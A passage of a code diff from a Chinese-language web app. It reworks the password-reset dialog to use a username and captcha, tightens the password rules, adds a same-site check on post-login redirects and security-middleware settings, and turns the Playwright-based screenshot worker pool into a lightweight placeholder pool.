   generateCaptcha,
   login,
-  requestPasswordReset,
   resendVerifyEmail,
 } from '../api/auth'
-import { validateStrongPassword } from '../utils/password'
 
 const router = useRouter()
 
@@ -32,20 +30,14 @@ const registerVerifyEnabled = ref(false)
 const forgotOpen = ref(false)
 const resendOpen = ref(false)
 
-const emailResetForm = reactive({
-  email: '',
+const forgotForm = reactive({
+  username: '',
   captcha: '',
 })
-const emailResetCaptchaImage = ref('')
-const emailResetCaptchaSession = ref('')
-const emailResetLoading = ref(false)
-
-const manualResetForm = reactive({
-  username: '',
-  email: '',
-  new_password: '',
-})
-const manualResetLoading = ref(false)
+const forgotCaptchaImage = ref('')
+const forgotCaptchaSession = ref('')
+const forgotLoading = ref(false)
+const forgotHint = ref('')
 
 const resendForm = reactive({
   email: '',
@@ -72,12 +64,12 @@ async function refreshLoginCaptcha() {
 async function refreshEmailResetCaptcha() {
   try {
     const data = await generateCaptcha()
-    emailResetCaptchaSession.value = data?.session_id || ''
-    emailResetCaptchaImage.value = data?.captcha_image || ''
-    emailResetForm.captcha = ''
+    forgotCaptchaSession.value = data?.session_id || ''
+    forgotCaptchaImage.value = data?.captcha_image || ''
+    forgotForm.captcha = ''
   } catch {
-    emailResetCaptchaSession.value = ''
-    emailResetCaptchaImage.value = ''
+    forgotCaptchaSession.value = ''
+    forgotCaptchaImage.value = ''
   }
 }
 
@@ -113,8 +105,14 @@ async function onSubmit() {
       need_captcha: needCaptcha.value,
     })
     ElMessage.success('登录成功，正在跳转...')
+    const urlParams = new URLSearchParams(window.location.search || '')
+    const next = String(urlParams.get('next') || '').trim()
+    const safeNext = next && next.startsWith('/') && !next.startsWith('//') && !next.startsWith('/\\') ? next : ''
     setTimeout(() => {
-      window.location.href = '/app'
+      const target = safeNext || '/app'
+      router.push(target).catch(() => {
+        window.location.href = target
+      })
     }, 300)
   } catch (e) {
     const status = e?.response?.status
@@ -136,36 +134,38 @@ async function onSubmit() {
 
 async function openForgot() {
   forgotOpen.value = true
-
+  forgotHint.value = ''
+  forgotForm.username = ''
+  forgotForm.captcha = ''
   if (emailEnabled.value) {
-    emailResetForm.email = ''
-    emailResetForm.captcha = ''
     await refreshEmailResetCaptcha()
-  } else {
-    manualResetForm.username = ''
-    manualResetForm.email = ''
-    manualResetForm.new_password = ''
   }
 }
 
 async function submitForgot() {
-  if (emailEnabled.value) {
-    const email = emailResetForm.email.trim()
-    if (!email) {
-      ElMessage.error('请输入邮箱')
+  forgotHint.value = ''
+
+  if (!emailEnabled.value) {
+    ElMessage.warning('邮件功能未启用，请联系管理员重置密码。')
     return
   }
-    if (!emailResetForm.captcha.trim()) {
+
+  const username = forgotForm.username.trim()
+  if (!username) {
+    ElMessage.error('请输入用户名')
+    return
+  }
+  if (!forgotForm.captcha.trim()) {
     ElMessage.error('请输入验证码')
     return
   }
 
-    emailResetLoading.value = true
+  forgotLoading.value = true
   try {
     const res = await forgotPassword({
-        email,
-        captcha_session: emailResetCaptchaSession.value,
-        captcha: emailResetForm.captcha.trim(),
+      username,
+      captcha_session: forgotCaptchaSession.value,
+      captcha: forgotForm.captcha.trim(),
     })
     ElMessage.success(res?.message || '已发送重置邮件')
     setTimeout(() => {
@@ -173,43 +173,15 @@ async function submitForgot() {
     }, 800)
   } catch (e) {
     const data = e?.response?.data
-      ElMessage.error(data?.error || '发送失败')
+    const message = data?.error || '发送失败'
+    if (data?.code === 'email_not_bound') {
+      forgotHint.value = message
+    } else {
+      ElMessage.error(message)
+    }
     await refreshEmailResetCaptcha()
   } finally {
-      emailResetLoading.value = false
-    }
-    return
-  }
-
-  const username = manualResetForm.username.trim()
-  const newPassword = manualResetForm.new_password
-  if (!username || !newPassword) {
-    ElMessage.error('用户名和新密码不能为空')
-    return
-  }
-
-  const check = validateStrongPassword(newPassword)
-  if (!check.ok) {
-    ElMessage.error(check.message)
-    return
-  }
-
-  manualResetLoading.value = true
-  try {
-    await requestPasswordReset({
-      username,
-      email: manualResetForm.email.trim(),
-      new_password: newPassword,
-    })
-    ElMessage.success('申请已提交，请等待审核')
-    setTimeout(() => {
-      forgotOpen.value = false
-    }, 800)
-  } catch (e) {
-    const data = e?.response?.data
-    ElMessage.error(data?.error || '提交失败')
-  } finally {
-    manualResetLoading.value = false
+    forgotLoading.value = false
   }
 }
 
@@ -320,19 +292,42 @@ onMounted(async () => {
     </el-card>
 
     <el-dialog v-model="forgotOpen" title="找回密码" width="min(560px, 92vw)">
-      <template v-if="emailEnabled">
-        <el-alert type="info" :closable="false" title="输入注册邮箱，我们将发送重置链接。" show-icon />
+      <el-alert
+        v-if="!emailEnabled"
+        type="warning"
+        :closable="false"
+        title="邮件功能未启用"
+        description="无法通过邮箱找回密码，请联系管理员重置密码。"
+        show-icon
+      />
+      <el-alert
+        v-else
+        type="info"
+        :closable="false"
+        title="通过邮箱找回密码"
+        description="输入用户名并完成验证码，我们将向该账号绑定的邮箱发送重置链接。"
+        show-icon
+      />
+      <el-alert
+        v-if="forgotHint"
+        type="warning"
+        :closable="false"
+        title="无法通过邮箱找回密码"
+        :description="forgotHint"
+        show-icon
+        class="alert"
+      />
       <el-form label-position="top" class="dialog-form">
-          <el-form-item label="邮箱">
-            <el-input v-model="emailResetForm.email" placeholder="name@example.com" />
+        <el-form-item label="用户名">
+          <el-input v-model="forgotForm.username" placeholder="请输入用户名" />
         </el-form-item>
         <el-form-item label="验证码">
           <div class="captcha-row">
-              <el-input v-model="emailResetForm.captcha" placeholder="请输入验证码" />
+            <el-input v-model="forgotForm.captcha" placeholder="请输入验证码" />
             <img
-                v-if="emailResetCaptchaImage"
+              v-if="forgotCaptchaImage"
               class="captcha-img"
-                :src="emailResetCaptchaImage"
+              :src="forgotCaptchaImage"
               alt="验证码"
               title="点击刷新"
               @click="refreshEmailResetCaptcha"
@@ -341,30 +336,11 @@ onMounted(async () => {
           </div>
         </el-form-item>
       </el-form>
-      </template>
-      <template v-else>
-        <el-alert type="warning" :closable="false" title="邮件功能未启用：提交申请后等待管理员审核。" show-icon />
-        <el-form label-position="top" class="dialog-form">
-          <el-form-item label="用户名">
-            <el-input v-model="manualResetForm.username" placeholder="请输入用户名" />
-          </el-form-item>
-          <el-form-item label="邮箱（可选）">
-            <el-input v-model="manualResetForm.email" placeholder="可选填写邮箱" />
-          </el-form-item>
-          <el-form-item label="新密码（至少8位且包含字母和数字）">
-            <el-input v-model="manualResetForm.new_password" type="password" show-password placeholder="请输入新密码" />
-          </el-form-item>
-        </el-form>
-      </template>
 
       <template #footer>
         <el-button @click="forgotOpen = false">取消</el-button>
-        <el-button
-          type="primary"
-          :loading="emailEnabled ? emailResetLoading : manualResetLoading"
-          @click="submitForgot"
-        >
-          {{ emailEnabled ? '发送重置邮件' : '提交申请' }}
+        <el-button type="primary" :loading="forgotLoading" :disabled="!emailEnabled" @click="submitForgot">
+          发送重置邮件
         </el-button>
       </template>
     </el-dialog>

app-frontend/src/pages/RegisterPage.vue

@@ -4,6 +4,7 @@ import { useRouter } from 'vue-router'
 import { ElMessage } from 'element-plus'
 
 import { fetchEmailVerifyStatus, generateCaptcha, register } from '../api/auth'
+import { validateStrongPassword } from '../utils/password'
 
 const router = useRouter()
 
@@ -68,8 +69,9 @@ async function onSubmit() {
     ElMessage.error(errorText.value)
     return
   }
-  if (password.length < 6) {
-    errorText.value = '密码至少6个字符'
+  const passwordCheck = validateStrongPassword(password)
+  if (!passwordCheck.ok) {
+    errorText.value = passwordCheck.message || '密码格式不正确'
     ElMessage.error(errorText.value)
     return
   }
@@ -166,10 +168,10 @@ onMounted(async () => {
             v-model="form.password"
             type="password"
             show-password
-            placeholder="至少6个字符"
+            placeholder="至少8位且包含字母和数字"
             autocomplete="new-password"
           />
-          <div class="hint app-muted">至少6个字符</div>
+          <div class="hint app-muted">至少8位且包含字母和数字</div>
         </el-form-item>
         <el-form-item label="确认密码 *">
           <el-input

app.py

@@ -32,9 +32,9 @@ from browser_pool_worker import init_browser_worker_pool, shutdown_browser_worke
 from realtime.socketio_handlers import register_socketio_handlers
 from realtime.status_push import status_push_worker
 from routes import register_blueprints
-from services.browser_manager import init_browser_manager
+from security import init_security_middleware
 from services.checkpoints import init_checkpoint_manager
-from services.maintenance import start_cleanup_scheduler
+from services.maintenance import start_cleanup_scheduler, start_kdocs_monitor
 from services.models import User
 from services.runtime import init_runtime
 from services.scheduler import scheduled_task_worker
@@ -98,6 +98,9 @@ init_logging(log_level=config.LOG_LEVEL, log_file=config.LOG_FILE)
 logger = get_logger("app")
 init_runtime(socketio=socketio, logger=logger)
 
+# 初始化安全中间件（需在其他中间件/Blueprint 之前注册）
+init_security_middleware(app)
+
 # 注册 Blueprint（路由不变）
 register_blueprints(app)
 
@@ -195,7 +198,7 @@ def cleanup_on_exit():
     except Exception:
         pass
 
-    logger.info("- 关闭浏览器线程池...")
+    logger.info("- 关闭截图线程池...")
     try:
         shutdown_browser_worker_pool()
     except Exception:
@@ -264,6 +267,7 @@ if __name__ == "__main__":
         logger.warning(f"警告: 邮件服务初始化失败: {e}")
 
     start_cleanup_scheduler()
+    start_kdocs_monitor()
 
     try:
         system_config = database.get_system_config() or {}
@@ -274,15 +278,6 @@ if __name__ == "__main__":
     except Exception as e:
         logger.warning(f"警告: 加载并发配置失败,使用默认值: {e}")
 
-    logger.info("正在初始化浏览器管理器...")
-    try:
-        from services.browser_manager import init_browser_manager_async
-
-        logger.info("启动浏览器环境初始化（后台进行，不阻塞服务启动）...")
-        init_browser_manager_async()
-    except Exception as e:
-        logger.warning(f"警告: 启动浏览器初始化失败: {e}")
-
     logger.info("启动定时任务调度器...")
     threading.Thread(target=scheduled_task_worker, daemon=True, name="scheduled-task-worker").start()
     logger.info("✓ 定时任务调度器已启动")
@@ -301,7 +296,7 @@ if __name__ == "__main__":
     except Exception:
         pool_size = 3
     try:
-        logger.info(f"初始化截图线程池（{pool_size}个worker，按需启动浏览器，空闲5分钟后自动关闭）...")
+        logger.info(f"初始化截图线程池（{pool_size}个worker，按需启动执行环境，空闲5分钟后自动释放）...")
         init_browser_worker_pool(pool_size=pool_size)
         logger.info("✓ 截图线程池初始化完成")
     except Exception as e:

app_config.py

@@ -122,6 +122,12 @@ class Config:
     # ==================== 浏览器配置 ====================
     SCREENSHOTS_DIR = os.environ.get('SCREENSHOTS_DIR', '截图')
     COOKIES_DIR = os.environ.get('COOKIES_DIR', 'data/cookies')
+    KDOCS_LOGIN_STATE_FILE = os.environ.get('KDOCS_LOGIN_STATE_FILE', 'data/kdocs_login_state.json')
+
+    # ==================== 公告图片上传配置 ====================
+    ANNOUNCEMENT_IMAGE_DIR = os.environ.get('ANNOUNCEMENT_IMAGE_DIR', 'static/announcements')
+    ALLOWED_ANNOUNCEMENT_IMAGE_EXTENSIONS = {'.png', '.jpg', '.jpeg', '.gif', '.webp'}
+    MAX_ANNOUNCEMENT_IMAGE_SIZE = int(os.environ.get('MAX_ANNOUNCEMENT_IMAGE_SIZE', '5242880'))  # 5MB
 
     # ==================== 并发控制配置 ====================
     MAX_CONCURRENT_GLOBAL = int(os.environ.get('MAX_CONCURRENT_GLOBAL', '2'))
@@ -206,6 +212,10 @@ class Config:
     LOGIN_ALERT_ENABLED = os.environ.get('LOGIN_ALERT_ENABLED', 'true').lower() == 'true'
     LOGIN_ALERT_MIN_INTERVAL_SECONDS = int(os.environ.get('LOGIN_ALERT_MIN_INTERVAL_SECONDS', '3600'))
     ADMIN_REAUTH_WINDOW_SECONDS = int(os.environ.get('ADMIN_REAUTH_WINDOW_SECONDS', '600'))
+    SECURITY_ENABLED = os.environ.get('SECURITY_ENABLED', 'true').lower() == 'true'
+    SECURITY_LOG_LEVEL = os.environ.get('SECURITY_LOG_LEVEL', 'INFO')
+    HONEYPOT_ENABLED = os.environ.get('HONEYPOT_ENABLED', 'true').lower() == 'true'
+    AUTO_BAN_ENABLED = os.environ.get('AUTO_BAN_ENABLED', 'true').lower() == 'true'
 
     @classmethod
     def validate(cls):
@@ -234,6 +244,9 @@ class Config:
         if cls.LOG_LEVEL not in ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL']:
             errors.append(f"LOG_LEVEL无效: {cls.LOG_LEVEL}")
 
+        if cls.SECURITY_LOG_LEVEL not in ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL']:
+            errors.append(f"SECURITY_LOG_LEVEL无效: {cls.SECURITY_LOG_LEVEL}")
+
         return errors
 
     @classmethod

browser_pool_worker.py

@@ -1,42 +1,22 @@
 #!/usr/bin/env python3
 # -*- coding: utf-8 -*-
-"""浏览器池管理 - 工作线程池模式（真正的浏览器复用）"""
+"""截图线程池管理 - 工作线程池模式（并发执行截图任务）"""
 
 import os
 import threading
 import queue
 import time
 from typing import Callable, Optional, Dict, Any
-import nest_asyncio
-
-_NEST_ASYNCIO_APPLIED = False
-_NEST_ASYNCIO_LOCK = threading.Lock()
-
-
-def _apply_nest_asyncio_once() -> None:
-    """按需应用 nest_asyncio，避免 import 时产生全局副作用。"""
-    global _NEST_ASYNCIO_APPLIED
-
-    if _NEST_ASYNCIO_APPLIED:
-        return
-    with _NEST_ASYNCIO_LOCK:
-        if _NEST_ASYNCIO_APPLIED:
-            return
-        try:
-            nest_asyncio.apply()
-        except Exception:
-            pass
-        _NEST_ASYNCIO_APPLIED = True
 
 # 安全修复: 将魔法数字提取为可配置常量
 BROWSER_IDLE_TIMEOUT = int(os.environ.get('BROWSER_IDLE_TIMEOUT', '300'))  # 空闲超时(秒)，默认5分钟
 TASK_QUEUE_TIMEOUT = int(os.environ.get('TASK_QUEUE_TIMEOUT', '10'))  # 队列获取超时(秒)
 TASK_QUEUE_MAXSIZE = int(os.environ.get('BROWSER_TASK_QUEUE_MAXSIZE', '200'))  # 队列最大长度(0表示无限制)
-BROWSER_MAX_USE_COUNT = int(os.environ.get('BROWSER_MAX_USE_COUNT', '0'))  # 每个浏览器最大复用次数(0表示不限制)
+BROWSER_MAX_USE_COUNT = int(os.environ.get('BROWSER_MAX_USE_COUNT', '0'))  # 每个执行环境最大复用次数(0表示不限制)
 
 
 class BrowserWorker(threading.Thread):
-    """浏览器工作线程 - 每个worker维护自己的浏览器"""
+    """截图工作线程 - 每个worker维护自己的执行环境"""
 
     def __init__(
         self,
@@ -55,99 +35,61 @@ class BrowserWorker(threading.Thread):
         self.total_tasks = 0
         self.failed_tasks = 0
         self.pre_warm = pre_warm
+        self.last_activity_ts = 0.0
 
     def log(self, message: str):
         """日志输出"""
         if self.log_callback:
             self.log_callback(f"[Worker-{self.worker_id}] {message}")
         else:
-            print(f"[浏览器池][Worker-{self.worker_id}] {message}")
+            print(f"[截图池][Worker-{self.worker_id}] {message}")
 
     def _create_browser(self):
-        """创建浏览器实例"""
-        try:
-            from playwright.sync_api import sync_playwright
-
-            self.log("正在创建浏览器...")
-            playwright = sync_playwright().start()
-            browser = playwright.chromium.launch(
-                headless=True,
-                args=[
-                    '--no-sandbox',
-                    '--disable-setuid-sandbox',
-                    '--disable-dev-shm-usage',
-                    '--disable-gpu',
-                ]
-            )
-
+        """创建截图执行环境（逻辑占位，无需真实浏览器）"""
+        created_at = time.time()
         self.browser_instance = {
-                'playwright': playwright,
-                'browser': browser,
-                'created_at': time.time(),
+            'created_at': created_at,
             'use_count': 0,
-                'worker_id': self.worker_id
+            'worker_id': self.worker_id,
         }
-            self.log(f"浏览器创建成功")
+        self.last_activity_ts = created_at
+        self.log("截图执行环境就绪")
         return True
 
-        except Exception as e:
-            self.log(f"创建浏览器失败: {e}")
-            return False
-
     def _close_browser(self):
-        """关闭浏览器"""
+        """关闭截图执行环境"""
         if self.browser_instance:
-            try:
-                self.log("正在关闭浏览器...")
-                if self.browser_instance['browser']:
-                    self.browser_instance['browser'].close()
-                if self.browser_instance['playwright']:
-                    self.browser_instance['playwright'].stop()
-                self.log(f"浏览器已关闭（共处理{self.browser_instance['use_count']}个任务）")
-            except Exception as e:
-                self.log(f"关闭浏览器时出错: {e}")
-            finally:
+            self.log(f"执行环境已释放（共处理{self.browser_instance.get('use_count', 0)}个任务）")
             self.browser_instance = None
 
     def _check_browser_health(self) -> bool:
-        """检查浏览器是否健康"""
-        if not self.browser_instance:
-            return False
-
-        try:
-            return self.browser_instance['browser'].is_connected()
-        except:
-            return False
+        """检查执行环境是否就绪"""
+        return bool(self.browser_instance)
 
     def _ensure_browser(self) -> bool:
-        """确保浏览器可用（如果不可用则重新创建）"""
+        """确保执行环境可用"""
         if self._check_browser_health():
             return True
-
-        # 浏览器不可用，尝试重新创建
-        self.log("浏览器不可用，尝试重新创建...")
+        self.log("执行环境不可用，尝试重新创建...")
         self._close_browser()
         return self._create_browser()
 
     def run(self):
-        """工作线程主循环 - 按需启动浏览器模式"""
+        """工作线程主循环 - 按需启动执行环境模式"""
         if self.pre_warm:
-            self.log("Worker启动（预热模式，启动即创建浏览器）")
+            self.log("Worker启动（预热模式，启动即准备执行环境）")
         else:
-            self.log("Worker启动（按需模式，等待任务时不占用浏览器资源）")
+            self.log("Worker启动（按需模式，等待任务时不占用资源）")
 
-        last_activity_time = 0
         if self.pre_warm and not self.browser_instance:
-            if self._create_browser():
-                last_activity_time = time.time()
+            self._create_browser()
             self.pre_warm = False
 
         while self.running:
             try:
                 # 允许运行中触发预热（例如池在初始化后调用 warmup）
                 if self.pre_warm and not self.browser_instance:
-                    if self._create_browser():
-                        last_activity_time = time.time()
+                    self._create_browser()
                     self.pre_warm = False
 
                 # 从队列获取任务（带超时，以便能响应停止信号和空闲检查）
@@ -155,11 +97,11 @@ class BrowserWorker(threading.Thread):
                 try:
                     task = self.task_queue.get(timeout=TASK_QUEUE_TIMEOUT)
                 except queue.Empty:
-                    # 检查是否需要关闭空闲的浏览器
-                    if self.browser_instance and last_activity_time > 0:
-                        idle_time = time.time() - last_activity_time
+                    # 检查是否需要释放空闲的执行环境
+                    if self.browser_instance and self.last_activity_ts > 0:
+                        idle_time = time.time() - self.last_activity_ts
                         if idle_time > BROWSER_IDLE_TIMEOUT:
-                            self.log(f"空闲{int(idle_time)}秒，关闭浏览器释放资源")
+                            self.log(f"空闲{int(idle_time)}秒，释放执行环境")
                             self._close_browser()
                     continue
 
@@ -169,10 +111,37 @@ class BrowserWorker(threading.Thread):
                     self.log("收到停止信号")
                     break
 
-                # 按需创建或确保浏览器可用
-                if not self._ensure_browser():
-                    self.log("浏览器不可用，任务失败")
-                    task['callback'](None, "浏览器不可用")
+                # 按需创建或确保执行环境可用
+                browser_ready = False
+                for attempt in range(2):
+                    if self._ensure_browser():
+                        browser_ready = True
+                        break
+                    if attempt < 1:
+                        self.log("执行环境创建失败，重试...")
+                        time.sleep(0.5)
+
+                if not browser_ready:
+                    retry_count = int(task.get("retry_count", 0) or 0) if isinstance(task, dict) else 0
+                    if retry_count < 1 and isinstance(task, dict):
+                        task["retry_count"] = retry_count + 1
+                        try:
+                            self.task_queue.put(task, timeout=1)
+                            self.log("执行环境不可用，任务重新入队")
+                        except queue.Full:
+                            self.log("任务队列已满，无法重新入队，任务失败")
+                            callback = task.get("callback")
+                            if callable(callback):
+                                callback(None, "执行环境不可用")
+                            self.total_tasks += 1
+                            self.failed_tasks += 1
+                        continue
+
+                    self.log("执行环境不可用，任务失败")
+                    callback = task.get("callback") if isinstance(task, dict) else None
+                    if callable(callback):
+                        callback(None, "执行环境不可用")
+                    self.total_tasks += 1
                     self.failed_tasks += 1
                     continue
 
@@ -185,30 +154,30 @@ class BrowserWorker(threading.Thread):
                 self.total_tasks += 1
                 self.browser_instance['use_count'] += 1
 
-                self.log(f"开始执行任务（第{self.browser_instance['use_count']}次使用浏览器）")
+                self.log(f"开始执行任务（第{self.browser_instance['use_count']}次执行）")
 
                 try:
-                    # 将浏览器实例传递给任务函数
+                # 将执行环境实例传递给任务函数
                     result = task_func(self.browser_instance, *task_args, **task_kwargs)
                     callback(result, None)
                     self.log(f"任务执行成功")
-                    last_activity_time = time.time()
+                    self.last_activity_ts = time.time()
 
                 except Exception as e:
                     self.log(f"任务执行失败: {e}")
                     callback(None, str(e))
                     self.failed_tasks += 1
-                    last_activity_time = time.time()
+                    self.last_activity_ts = time.time()
 
-                    # 任务失败后，检查浏览器健康
+                    # 任务失败后，检查执行环境健康
                     if not self._check_browser_health():
-                        self.log("任务失败导致浏览器异常，将在下次任务前重建")
+                        self.log("任务失败导致执行环境异常，将在下次任务前重建")
                         self._close_browser()
 
-                # 定期重启浏览器，释放Chromium可能累积的内存
+                # 定期重启执行环境，释放可能累积的资源
                 if self.browser_instance and BROWSER_MAX_USE_COUNT > 0:
                     if self.browser_instance.get('use_count', 0) >= BROWSER_MAX_USE_COUNT:
-                        self.log(f"浏览器已复用{self.browser_instance['use_count']}次，重启释放资源")
+                        self.log(f"执行环境已复用{self.browser_instance['use_count']}次，重启释放资源")
                         self._close_browser()
 
             except Exception as e:
@@ -225,7 +194,7 @@ class BrowserWorker(threading.Thread):
 
 
 class BrowserWorkerPool:
-    """浏览器工作线程池"""
+    """截图工作线程池"""
 
     def __init__(self, pool_size: int = 3, log_callback: Optional[Callable] = None):
         self.pool_size = pool_size
@@ -241,17 +210,15 @@ class BrowserWorkerPool:
         if self.log_callback:
             self.log_callback(message)
         else:
-            print(f"[浏览器池] {message}")
+            print(f"[截图池] {message}")
 
     def initialize(self):
-        """初始化工作线程池（按需模式，默认预热1个浏览器）"""
+        """初始化工作线程池（按需模式，默认预热1个执行环境）"""
         with self.lock:
             if self.initialized:
                 return
 
-            _apply_nest_asyncio_once()
-
-            self.log(f"正在初始化工作线程池（{self.pool_size}个worker，按需启动浏览器）...")
+            self.log(f"正在初始化截图线程池（{self.pool_size}个worker，按需启动执行环境）...")
 
             for i in range(self.pool_size):
                 worker = BrowserWorker(
@@ -264,13 +231,13 @@ class BrowserWorkerPool:
                 self.workers.append(worker)
 
             self.initialized = True
-            self.log(f"✓ 工作线程池初始化完成（{self.pool_size}个worker就绪，浏览器将在有任务时按需启动）")
+            self.log(f"✓ 截图线程池初始化完成（{self.pool_size}个worker就绪，执行环境将在有任务时按需启动）")
 
-        # 初始化完成后，默认预热1个浏览器，降低容器重启后前几批任务的冷启动开销
+        # 初始化完成后，默认预热1个执行环境，降低容器重启后前几批任务的冷启动开销
         self.warmup(1)
 
     def warmup(self, count: int = 1) -> int:
-        """预热浏览器池 - 预创建指定数量的浏览器"""
+        """预热截图线程池 - 预创建指定数量的执行环境"""
         if count <= 0:
             return 0
 
@@ -281,7 +248,7 @@ class BrowserWorkerPool:
         with self.lock:
             target_workers = list(self.workers[: min(count, len(self.workers))])
 
-        self.log(f"预热浏览器池（预创建{len(target_workers)}个浏览器）...")
+        self.log(f"预热截图线程池（预创建{len(target_workers)}个执行环境）...")
 
         for worker in target_workers:
             if not worker.browser_instance:
@@ -296,7 +263,7 @@ class BrowserWorkerPool:
             time.sleep(0.1)
 
         warmed = sum(1 for w in target_workers if w.browser_instance)
-        self.log(f"✓ 浏览器池预热完成（{warmed}个浏览器就绪）")
+        self.log(f"✓ 截图线程池预热完成（{warmed}个执行环境就绪）")
         return warmed
 
     def submit_task(self, task_func: Callable, callback: Callable, *args, **kwargs) -> bool:
@@ -319,7 +286,8 @@ class BrowserWorkerPool:
             'func': task_func,
             'args': args,
             'kwargs': kwargs,
-            'callback': callback
+            'callback': callback,
+            'retry_count': 0,
         }
 
         try:
@@ -331,18 +299,44 @@ class BrowserWorkerPool:
 
     def get_stats(self) -> Dict[str, Any]:
         """获取线程池统计信息"""
-        idle_count = sum(1 for w in self.workers if w.idle)
-        total_tasks = sum(w.total_tasks for w in self.workers)
-        failed_tasks = sum(w.failed_tasks for w in self.workers)
+        workers = list(self.workers or [])
+        idle_count = sum(1 for w in workers if getattr(w, "idle", False))
+        total_tasks = sum(int(getattr(w, "total_tasks", 0) or 0) for w in workers)
+        failed_tasks = sum(int(getattr(w, "failed_tasks", 0) or 0) for w in workers)
+
+        worker_details = []
+        for w in workers:
+            browser_instance = getattr(w, "browser_instance", None)
+            browser_use_count = 0
+            browser_created_at = None
+            if isinstance(browser_instance, dict):
+                browser_use_count = int(browser_instance.get("use_count", 0) or 0)
+                browser_created_at = browser_instance.get("created_at")
+
+            worker_details.append(
+                {
+                    "worker_id": getattr(w, "worker_id", None),
+                    "idle": bool(getattr(w, "idle", False)),
+                    "has_browser": bool(browser_instance),
+                    "total_tasks": int(getattr(w, "total_tasks", 0) or 0),
+                    "failed_tasks": int(getattr(w, "failed_tasks", 0) or 0),
+                    "browser_use_count": browser_use_count,
+                    "browser_created_at": browser_created_at,
+                    "last_active_ts": float(getattr(w, "last_activity_ts", 0) or 0),
+                    "thread_alive": bool(getattr(w, "is_alive", lambda: False)()),
+                }
+            )
 
         return {
             'pool_size': self.pool_size,
             'idle_workers': idle_count,
-            'busy_workers': self.pool_size - idle_count,
+            'busy_workers': max(0, len(workers) - idle_count),
             'queue_size': self.task_queue.qsize(),
             'total_tasks': total_tasks,
             'failed_tasks': failed_tasks,
-            'success_rate': f"{(total_tasks - failed_tasks) / total_tasks * 100:.1f}%" if total_tasks > 0 else "N/A"
+            'success_rate': f"{(total_tasks - failed_tasks) / total_tasks * 100:.1f}%" if total_tasks > 0 else "N/A",
+            'workers': worker_details,
+            'timestamp': time.time(),
         }
 
     def wait_for_completion(self, timeout: Optional[float] = None):
@@ -381,7 +375,7 @@ _pool_lock = threading.Lock()
 
 
 def get_browser_worker_pool(pool_size: int = 3, log_callback: Optional[Callable] = None) -> BrowserWorkerPool:
-    """获取全局浏览器工作线程池（单例）"""
+    """获取全局截图工作线程池（单例）"""
     global _global_pool
 
     with _pool_lock:
@@ -393,12 +387,46 @@ def get_browser_worker_pool(pool_size: int = 3, log_callback: Optional[Callable]
 
 
 def init_browser_worker_pool(pool_size: int = 3, log_callback: Optional[Callable] = None):
-    """初始化全局浏览器工作线程池"""
+    """初始化全局截图工作线程池"""
     get_browser_worker_pool(pool_size=pool_size, log_callback=log_callback)
 
 
+def _shutdown_pool_when_idle(pool: BrowserWorkerPool) -> None:
+    try:
+        pool.wait_for_completion(timeout=60)
+    except Exception:
+        pass
+    try:
+        pool.shutdown()
+    except Exception:
+        pass
+
+
+def resize_browser_worker_pool(pool_size: int, log_callback: Optional[Callable] = None) -> bool:
+    """调整截图线程池并发（新任务走新池，旧池空闲后自动关闭）"""
+    global _global_pool
+
+    try:
+        target_size = max(1, int(pool_size))
+    except Exception:
+        target_size = 1
+
+    with _pool_lock:
+        old_pool = _global_pool
+        if old_pool and int(getattr(old_pool, "pool_size", 0) or 0) == target_size:
+            return False
+        effective_log_callback = log_callback or (getattr(old_pool, "log_callback", None) if old_pool else None)
+        _global_pool = BrowserWorkerPool(pool_size=target_size, log_callback=effective_log_callback)
+        _global_pool.initialize()
+
+    if old_pool:
+        threading.Thread(target=_shutdown_pool_when_idle, args=(old_pool,), daemon=True).start()
+
+    return True
+
+
 def shutdown_browser_worker_pool():
-    """关闭全局浏览器工作线程池"""
+    """关闭全局截图工作线程池"""
     global _global_pool
 
     with _pool_lock:
@@ -409,7 +437,7 @@ def shutdown_browser_worker_pool():
 
 if __name__ == '__main__':
     # 测试代码
-    print("测试浏览器工作线程池...")
+    print("测试截图工作线程池...")
 
     def test_task(browser_instance, url: str, task_id: int):
         """测试任务：访问URL"""

database.py

@@ -24,15 +24,11 @@ from db.schema import ensure_schema
 from db.migrations import migrate_database as _migrate_database
 from db.admin import (
     admin_reset_user_password,
-    approve_password_reset,
     clean_old_operation_logs,
-    create_password_reset_request,
     ensure_default_admin,
     get_hourly_registration_count,
-    get_pending_password_resets,
     get_system_config_raw as _get_system_config_raw,
     get_system_stats,
-    reject_password_reset,
     update_admin_password,
     update_admin_username,
     update_system_config as _update_system_config,
@@ -44,6 +40,7 @@ from db.accounts import (
     delete_user_accounts,
     get_account,
     get_account_status,
+    get_account_status_batch,
     get_user_accounts,
     increment_account_login_fail,
     reset_account_login_status,
@@ -103,6 +100,7 @@ from db.users import (
     get_pending_users,
     get_user_by_id,
     get_user_by_username,
+    get_user_kdocs_settings,
     get_user_stats,
     get_user_vip_info,
     get_vip_config,
@@ -111,6 +109,7 @@ from db.users import (
     remove_user_vip,
     set_default_vip_days,
     set_user_vip,
+    update_user_kdocs_settings,
     verify_user,
 )
 from db.security import record_login_context
@@ -121,7 +120,7 @@ config = get_config()
 DB_FILE = config.DB_FILE
 
 # 数据库版本 (用于迁移管理)
-DB_VERSION = 12
+DB_VERSION = 17
 
 
 # ==================== 系统配置缓存（P1 / O-03） ====================
@@ -190,12 +189,24 @@ def update_system_config(
     schedule_weekdays=None,
     max_concurrent_per_account=None,
     max_screenshot_concurrent=None,
+    enable_screenshot=None,
     proxy_enabled=None,
     proxy_api_url=None,
     proxy_expire_minutes=None,
     auto_approve_enabled=None,
     auto_approve_hourly_limit=None,
     auto_approve_vip_days=None,
+    kdocs_enabled=None,
+    kdocs_doc_url=None,
+    kdocs_default_unit=None,
+    kdocs_sheet_name=None,
+    kdocs_sheet_index=None,
+    kdocs_unit_column=None,
+    kdocs_image_column=None,
+    kdocs_admin_notify_enabled=None,
+    kdocs_admin_notify_email=None,
+    kdocs_row_start=None,
+    kdocs_row_end=None,
 ):
     """更新系统配置（写入后立即失效缓存）。"""
     ok = _update_system_config(
@@ -206,12 +217,24 @@ def update_system_config(
         schedule_weekdays=schedule_weekdays,
         max_concurrent_per_account=max_concurrent_per_account,
         max_screenshot_concurrent=max_screenshot_concurrent,
+        enable_screenshot=enable_screenshot,
         proxy_enabled=proxy_enabled,
         proxy_api_url=proxy_api_url,
         proxy_expire_minutes=proxy_expire_minutes,
         auto_approve_enabled=auto_approve_enabled,
         auto_approve_hourly_limit=auto_approve_hourly_limit,
         auto_approve_vip_days=auto_approve_vip_days,
